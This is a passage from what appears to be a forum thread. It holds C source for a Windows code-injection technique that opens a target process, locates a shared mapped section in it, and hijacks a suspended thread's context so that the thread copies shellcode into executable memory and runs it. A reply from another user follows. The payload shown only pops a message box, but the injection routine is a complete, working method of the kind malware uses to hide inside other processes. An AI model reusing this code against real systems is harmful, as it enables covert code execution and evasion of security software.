                            QueryBaseAddress,
                            MemoryBasicInformation,
                            &MemBasicInfo,
                            sizeof(MEMORY_BASIC_INFORMATION),
                            NULL)))
                        {
                            if(MemBasicInfo.Type & MEM_MAPPED)
                            {
                                ULONG IndReadBytes;
                                ULONG NumOfBytes;
                                ULONG ReadB;

                                IndReadBytes = 0;
                                while(IndReadBytes < MemBasicInfo.RegionSize)
                                {
                                    ULONG Remaining = MemBasicInfo.RegionSize - IndReadBytes;
                                    NumOfBytes = Remaining < AllocatedSize ? Remaining : AllocatedSize;

                                    if(!NT_SUCCESS(NtReadVirtualMemory(
                                        hTargetProcess,
                                        QueryBaseAddress,
                                        AllocatedBuffer,
                                        NumOfBytes,
                                        &ReadB)))
                                    {
                                        break;
                                    }

                                    BeginMarkOff = FindPattern(
                                        AllocatedBuffer,
                                        NumOfBytes,
                                        (LPVOID)BegMark,
                                        sizeof(BegMark));
                                    if(BeginMarkOff != 0xFFFFFFFF)
                                    {
                                        BeginMark = PTR_ADD_OFFSET(PTR_ADD_OFFSET(QueryBaseAddress,IndReadBytes),BeginMarkOff);
                                        *hSection = SectionHandle;
                                        *BaseOfView = BaseAddress;
                                        *SizeOfView = Size;
                                        *RemoteAddrOfBeginMark = BeginMark;
                                        NtStatus = STATUS_SUCCESS;
                                        goto Finish_;
                                    }
                                    IndReadBytes += NumOfBytes;
                                }
                            }
                            QueryBaseAddress = PTR_ADD_OFFSET(QueryBaseAddress,MemBasicInfo.RegionSize);
                        }
                    }
                }
                NtUnmapViewOfSection(hCurrentProcess,BaseAddress);
            }
            NtClose(SectionHandle);
        }
    }

Finish_:

    NtFreeVirtualMemory(hCurrentProcess,&AllocatedBuffer,&AllocatedSize,MEM_RELEASE);
    return NtStatus;
}

NTSTATUS TCHInjection(IN DWORD PID)
{
    NTSTATUS NtStatus;
    OBJECT_ATTRIBUTES ObjAttributes;
    CLIENT_ID ClientId;
    HANDLE hProcess;
    HANDLE hSection;
    LPVOID SectionBaseOfView;
    ULONG SectionSizeOfView;
    LPVOID RemtBeginMark;
    DWORD ThreadId;
    HANDLE hThread;
    ULONG SuspendCount;
    CONTEXT ThreadContext;
    REMOTE_CODE_STRUCTURE RemoteCodeStruct;
    LPVOID rEsi;

    ClientId.UniqueProcess = (PVOID)PID;
    ClientId.UniqueThread = NULL;
    InitializeObjectAttributes(&ObjAttributes,NULL,0,NULL,NULL);
    NtStatus = NtOpenProcess(
        &hProcess,
        PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ,
        &ObjAttributes,
        &ClientId);
    if(!NT_SUCCESS(NtStatus))
    {
        printf("Unable to get a handle to the target process: %X\n",NtStatus);
        return NtStatus;
    }

    NtStatus = GetSharedSection(
        hProcess,
        &hSection,
        &SectionBaseOfView,
        &SectionSizeOfView,
        &RemtBeginMark);
    if(!NT_SUCCESS(NtStatus))
    {
        printf("Unable to get a valid shared section: %X\n",NtStatus);
        goto Finish_;
    }

    NtStatus = GetInstructionsAddr(hProcess,&RemoteCodeStruct,&rEsi);
    if(!NT_SUCCESS(NtStatus))
    {
        goto Finish_chsc;
    }
    
    RtlCopyMemory(RemoteCodeStruct.BeginningMark,BegMark,sizeof(BegMark));
    RtlCopyMemory(RemoteCodeStruct.Shellcode,Code,sizeof(Code));
    RtlCopyMemory(RemoteCodeStruct.TittleMsgBox,MsgTittle,sizeof(MsgTittle));
    RemoteCodeStruct.CreateThread = GetProcAddress(GetModuleHandleW(TEXT("kernel32")),"CreateThread");
    RemoteCodeStruct.MessageBoxW = GetProcAddress(LoadLibraryW(TEXT("user32")),"MessageBoxW");
    RemoteCodeStruct.lpAddress = NULL;
    RemoteCodeStruct.dwSize = sizeof(Code);
    RemoteCodeStruct.flAllocationType = MEM_COMMIT | MEM_RESERVE;
    RemoteCodeStruct.flProtect = PAGE_EXECUTE_READWRITE;
    RemoteCodeStruct.src = PTR_ADD_OFFSET(RemtBeginMark,FIELD_OFFSET(REMOTE_CODE_STRUCTURE,Shellcode));
    RemoteCodeStruct.count  = sizeof(Code);

    NtStatus = GetTIDFromPID(PID,&ThreadId);
    if(!NT_SUCCESS(NtStatus))
    {
        goto Finish_chsc;
    }

    ClientId.UniqueProcess = NULL;
    ClientId.UniqueThread = (PVOID)ThreadId;
    InitializeObjectAttributes(&ObjAttributes,NULL,NULL,0,NULL);

    NtStatus = NtOpenThread(
        &hThread,
        THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME | THREAD_QUERY_INFORMATION,
        &ObjAttributes,
        &ClientId);
    if(!NT_SUCCESS(NtStatus))
    {
        goto Finish_chsc;
    }

    NtStatus = NtSuspendThread(hThread,&SuspendCount);
    if(!NT_SUCCESS(NtStatus))
    {
        goto Finish_chtd;
    }

    /* Resume thread as soon as possible */
    RtlZeroMemory(&ThreadContext,sizeof(CONTEXT));
    ThreadContext.ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER;

    NtStatus = NtGetContextThread(hThread,&ThreadContext);
    if(!NT_SUCCESS(NtStatus))
    {
        NtResumeThread(hThread,&SuspendCount);
        goto Finish_chtd;
    }

    RemoteCodeStruct.tc_Eip = ThreadContext.Eip;
    RemoteCodeStruct._Flags = ThreadContext.EFlags;
    RemoteCodeStruct._Eax = ThreadContext.Eax;
    RemoteCodeStruct._Ecx = ThreadContext.Ecx;
    RemoteCodeStruct._Edx = ThreadContext.Edx;
    RemoteCodeStruct._Ebx = ThreadContext.Ebx;
    RemoteCodeStruct._Ebp = ThreadContext.Ebp;
    RemoteCodeStruct._Esi = ThreadContext.Esi;
    RemoteCodeStruct._Edi = ThreadContext.Edi;
    RemoteCodeStruct._Esp = ThreadContext.Esp;
    RtlCopyMemory(SectionBaseOfView,&RemoteCodeStruct,sizeof(REMOTE_CODE_STRUCTURE));

    ThreadContext.Ebp = (DWORD)RemtBeginMark;
    ThreadContext.Eip = (DWORD)GetProcAddress(GetModuleHandleW(TEXT("kernel32")),"VirtualAlloc");
    ThreadContext.Esp = (DWORD)PTR_ADD_OFFSET(RemtBeginMark,FIELD_OFFSET(REMOTE_CODE_STRUCTURE,RetRmCode0));
    ThreadContext.Esi = (DWORD)rEsi;
    ThreadContext.Edi = (DWORD)GetProcAddress(GetModuleHandleW(TEXT("ntdll")),"memcpy");

    NtStatus = NtSetContextThread(hThread,&ThreadContext);
    if(!NT_SUCCESS(NtStatus))
    {
        NtResumeThread(hThread,&SuspendCount);
        goto Finish_chtd;
    }

    NtStatus = NtResumeThread(hThread,&SuspendCount);
    if(!NT_SUCCESS(NtStatus))
    {
        goto Finish_chtd;
    }

    printf("Injection successed \n");
    NtStatus = STATUS_SUCCESS;

Finish_chtd:
    NtClose(hThread);

Finish_chsc:
    NtUnmapViewOfSection(GetCurrentProcess(),SectionBaseOfView);
    NtClose(hSection);

Finish_:
    NtClose(hProcess);

    return NtStatus;
}
 #24406  by m5home
 Sun Nov 23, 2014 11:38 am
GOOD CODE. THANK YOU.